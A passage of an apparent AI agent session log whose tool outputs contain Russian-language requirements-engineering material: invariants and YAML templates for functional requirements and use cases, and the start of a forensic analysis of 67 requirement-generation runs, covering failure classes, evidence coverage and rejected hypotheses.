\u0438\\n\u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0432 FR \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f warning, \u043f\u043e\u043a\u0430 semantic gate \u043d\u0435 \u0434\u043e\u043a\u0430\u0436\u0435\u0442,\\n\u0447\u0442\u043e \u044d\u0442\u043e \u0441\u0430\u043c\u043e \u0437\u0430\u043f\u0440\u043e\u0448\u0435\u043d\u043d\u043e\u0435 \u0432\u043d\u0435\u0448\u043d\u0435\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435.\\n\\n`FR-INV-04` \u2014 as-is, project task, rationale, constraint, NFR, acceptance\\ncriterion \u0438 solution option \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0438\u043c\u0435\u0442\u044c \u0442\u0438\u043f FR.\\n\\n\u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u0444\u043e\u0440\u043c\u0430:\\n\\n```yaml\\nrequirement_id: FR-001\\nsystem_subject: target-system\\nshall: \\\"provide \\\"\\ngoal_refs: [GOAL-01]\\ntask_refs: [TASK-01]\\nsource_refs: [SRC-01]\\ndelta_ref: DELTA-01\\nproduct_binding_refs: [PB-01]\\nscenario_refs: [UC-001]\\nacceptance_refs: [AC-001]\\n```\\n\\n### Use Case\\n\\n**\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435.** UC \u2014 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 \u0446\u0435\u043b\u044c\u044e \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f actor-\u0430 \u0441\\n\u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f trigger-\u043e\u043c, \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0438\\n\u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435/\u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0442\u043e\u043a\u0438 \u0438 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u043c outcome. UC\\n\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439; \u0441\u0430\u043c \u043f\u043e \u0441\u0435\u0431\u0435 \u043e\u043d \u043d\u0435\\n\u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043d\u043e\u0432\u0443\u044e capability.\\n\\n`UC-INV-01` \u2014 UC \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 actor, goal, trigger, preconditions, numbered main\\nflow, alternatives/exceptions \u0438 postcondition/outcome.\\n\\n`UC-INV-02` \u2014 \u043a\u0430\u0436\u0434\u044b\u0439 UC \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u043d\u0430 FR, NFR \u0438\u043b\u0438 constraint; \u043a\u0430\u0436\u0434\u044b\u0439 FR\\n\u0438\u043c\u0435\u0435\u0442 \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u0438\u043d UC. \u0421\u0432\u044f\u0437\u044c many-to-many \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0432 \u043e\u0431\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u044b.\\n\\n`UC-INV-03` \u2014 UI control \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0448\u0430\u0433\u043e\u043c UC; failure branch \u2014 alternative \u0438\u043b\u0438\\nexception. \u041d\u0438 \u043e\u0434\u0438\u043d \u0438\u0437 \u043d\u0438\u0445 \u043d\u0435 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f FR \u0431\u0435\u0437 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0439\\ncapability.\\n\\n\u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u0444\u043e\u0440\u043c\u0430:\\n\\n```yaml\\nscenario_id: UC-001\\nactor: ACTOR-01\\ngoal_ref: GOAL-01\\ntrigger: \\\"...\\\"\\npreconditions: [PRE-01]\\nmain_flow: [STEP-01, STEP-02]\",\n[2026-09-29T07:45:05.390Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:05.390Z] [INFO]       }\n[2026-09-29T07:45:05.390Z] [INFO]     ]\n[2026-09-29T07:45:05.390Z] [INFO]   },\n[2026-09-29T07:45:05.390Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:45:05.390Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:05.390Z] [INFO]   \"uuid\": \"829876ac-cb52-4174-b8da-b1392beba049\",\n[2026-09-29T07:45:05.390Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:04.644Z\",\n[2026-09-29T07:45:05.390Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:45:05.390Z] [INFO]     \"stdout\": \"---\\nstatus: accepted\\nversion: 0.2\\nupdated: 2026-09-24\\ntemperature: 0.1\\ntype: analysis\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/605\\\"\\nscope: mango-only\\nbased_on: \\\"https://github.com/G-Ivan-A/mango_ba_prompts/tree/8cbf82aa73129ec5747af07f790aaf438b0fb6e9/runs\\\"\\nrelated_artifacts:\\n---\\n\\n# \u0424\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u0441\u0442\u0440\u043e\u0433\u0438\u0439 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\\n## \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\n\\n\u041a\u043e\u0440\u043f\u0443\u0441 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043d\u0435 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438, \u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445\\n\u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430: \u043d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f; \u0442\u0435\u043a\u0443\u0449\u0435\u0435\\n\u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435, UI \u0438\u043b\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c; \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438;\\n\u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0438 \u0442\u043e\u0447\u043d\u043e\u0433\u043e\\n\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430. \u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n\u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441 \u0440\u0430\u0437\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\u043c\u0438 \u0434\u043b\u044f FR, UC \u0438 NFR, \u0440\u0435\u0435\u0441\u0442\u0440\u043e\u043c\\n\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u043c\u0430\u0442\u0440\u0438\u0446\u0435\u0439 `as-is \u2192 delta`, \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0439 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u043e\u0439 \u0438 \u0442\u0440\u0435\u043c\u044f \u0433\u0435\u0439\u0442\u0430\u043c\u0438:\\n\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c.\\n\\n\u041f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0435 \u043d\u0438\u0436\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u044e\u0442, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u044e\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439\\n[RFC \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md).\\n\u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u043a\u0430\u043a \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f Source-\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u0432\\n[issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609),\\n\u043d\u043e \u0441\u0430\u043c\u0438 \u043f\u043e \u0441\u0435\u0431\u0435 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u043c\u0435\u043d\u044f\u0442\u044c runtime-\u043f\u0430\u043a\u0435\u0442. \u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439\\nissue \u043f\u0443\u0442\u044c `docs/contracts/` \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d: \u043e\u043d\\n\u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u043c `AGENTS.md`; Analysis \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d \u0432 \u043a\u043e\u043d\u0442\u0443\u0440\u0435 \u0438\u043d\u0438\u0446\u0438\u0430\u0442\u0438\u0432\u044b.\\n\\n## \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043e\u0445\u0432\u0430\u0442\\n\\n\u0421\u043d\u0438\u043c\u043e\u043a \u043d\u0430 2026-09-23 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0432\u0441\u0435 67 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 `RUN-0001`\u2026`RUN-0067` legacy-\\n\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043d\u0430 commit\\n[`8cbf82a`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/8cbf82aa73129ec5747af07f790aaf438b0fb6e9/runs),\\n27 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 JSON-\u044d\u043a\u0441\u043f\u043e\u0440\u0442\u043e\u0432, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f metadata \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0438\\n\u0442\u0440\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f issue #605. \u0414\u0432\u0430 JSON-\u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0434\u0438\u0430\u043b\u043e\u0433\u0438 BCREQ-1104 \u0438\\nBCREQ-1106; \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438.\\n\u0412\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0447\u0438\u0442\u0430\u043b\u0438\u0441\u044c \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0438 \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c.\\n\\n\u0415\u0434\u0438\u043d\u0438\u0446\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u2014 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u0430 \u043d\u0435\\n\u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0434\u0435\u0441\u044c \u043d\u0435\u0442 \u043f\u0441\u0438\u0445\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445\\n\u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0439: \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e.\\n\u0421\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043d\u0435 \u044d\u043a\u0441\u0442\u0440\u0430\u043f\u043e\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u0432\u0441\u044e \u043f\u043e\u043f\u0443\u043b\u044f\u0446\u0438\u044e \u0431\u0435\u0437\\n\u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430. \u0414\u043b\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u043e\u0439 \u0438\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d read-only \u0441\u043a\u0440\u0438\u043f\u0442\\n[`issue_605_run_inventory.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-605-67068bc98bc2/projects/ba-ai-process/experiments/issue_605_run_inventory.py).\\n\\n### \u041f\u043e\u043b\u043d\u043e\u0442\u0430 evidence\\n\\n| \u0421\u0440\u0435\u0437 | \u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e | \u041a\u0430\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d |\\n| --- | ---: | --- |\\n| \u0412\u0441\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 runs | 67 | Metadata, outputs, logs \u0438 feedback \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u044b \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. |\\n| \u041f\u043e\u043b\u043d\u044b\u0439 \u0434\u0438\u0430\u043b\u043e\u0433 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 run | 17 | \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0440\u0435\u043f\u043b\u0438\u043a \u0438 \u0438\u0442\u043e\u0433\u043e\u0432. |\\n| \u041f\u043e\u043b\u043d\u044b\u0439 \u0434\u0438\u0430\u043b\u043e\u0433 \u043f\u043e \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u0441\u0441\u044b\u043b\u043a\u0435 metadata | 27 | \u042d\u043a\u0441\u043f\u043e\u0440\u0442 \u043f\u043e\u043b\u0443\u0447\u0435\u043d \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u0438 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d; \u0432 Git \u043d\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d. |\\n| Run \u0431\u0435\u0437 \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0434\u0438\u0430\u043b\u043e\u0433\u0430 | 23 | \u0410\u043d\u0430\u043b\u0438\u0437 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 outputs/logs; \u0432\u043a\u043b\u044e\u0447\u0451\u043d \u0432 gap list. |\\n| \u0414\u0438\u0430\u043b\u043e\u0433\u0438 issue #605 | 2 | \u041e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u0435\u0439\u0441\u044b BCREQ-1104 \u0438 BCREQ-1106. |\\n| \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043d\u043e\u0435 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435 | 1 | \u0423\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0435 \u0446\u0435\u043b\u0438; \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445 \u0444\u0430\u043a\u0442\u043e\u0432. |\\n\\n`RUN-0030`\u2026`RUN-0055` \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c: \u0438\u0445 \u043f\u043e\u043b\u043d\u044b\u0435 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u044b \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432\\nGit-\u0434\u0435\u0440\u0435\u0432\u0435, \u043d\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0430\u043c \u0432 `metadata.yaml`. `RUN-0061` \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\\n\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u044d\u043a\u0441\u043f\u043e\u0440\u0442 \u0438 \u043f\u043e\u0442\u043e\u043c\u0443 \u0432\u043a\u043b\u044e\u0447\u0451\u043d \u0432 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d\u043d\u0443\u044e \u0432\u044b\u0431\u043e\u0440\u043a\u0443.\\n\\n### \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b\\n\\n1. **\u041e\u0448\u0438\u0431\u043a\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043e\u0434\u043d\u043e\u0439 \u0444\u043e\u0440\u043c\u0443\u043b\u0435 FR.** \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e: RUN-0016, RUN-0020,\\n   RUN-0026, RUN-0063 \u0438 \u043e\u0431\u0430 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0440\u0430\u0437\u043d\u044b\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0435\\n   \u043e\u0442\u043a\u0430\u0437\u044b \u2014 grounding, scope, state \u0438 classification.\\n2. **Citation \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u043d\u043e\u0441\u0442\u044c.** \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e: \u0432\\n   RUN-0024 \u0438 RUN-0026 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u043b\u0438 \u0432\u044b\u0432\u043e\u0434 \u043b\u0438\u0431\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043d\u0435 \u0431\u044b\u043b\u0438\\n   \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u044b; \u0432 BCREQ-1104 \u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u0445\u043e\u0436\u0438\u0435 \u0444\u0430\u043a\u0442\u044b \u043e \u0437\u0430\u043f\u0438\u0441\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u0430 \u0431\u044b\u043b\u0438\\n   \u043d\u0435\u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u043d\u044b \u0437\u0432\u0443\u043a\u043e\u0432\u043e\u043c\u0443 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044e.\\n3. **\u0410\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e FR \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u0435 \u043f\u043e\u043b\u0435 \u0438 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435.**\\n   \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e RUN-0063\u2192RUN-0067: \u043f\u044f\u0442\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0439 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438\\n   \u0443\u0434\u0430\u043b\u0435\u043d\u044b, \u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0430\u044f \u0434\u0435\u043b\u044c\u0442\u0430 \u0441\u0432\u0435\u0434\u0435\u043d\u0430 \u043a \u0434\u0432\u0443\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u043c \u0441 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f\u043c\u0438.\\n4. **TM Forum \u0434\u0430\u0451\u0442 \u0433\u043e\u0442\u043e\u0432\u044b\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 FR/UC/NFR.** \u041d\u0435\\n   \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e. TM Forum \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 capabilities, \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0438 ODA-\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442;\\n   \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0430\u043a \u0442\u0435\u043a\u0441\u0442 \u0438 \u0438\u0445 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043d\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\\n   [ISO/IEC/IEEE 29148:2018](https://www.iso.org/obp/ui?_escaped_fragment_=iso%3Astd%3Aiso-iec-ieee%3A29148%3Aed-2%3Av1%3Aen),\\n   \u0430 \u0442\u0438\u043f\u044b FR/NFR \u2014 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439\\n   [IREB CPRE Glossary](https://cpre.ireb.org/en/downloads-and-resources/glossary).\\n\\n## \u041d\u0430\u0445\u043e\u0434\u043a\u0438: \u0434\u0435\u0444\u0435\u043a\u0442\u044b, \u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 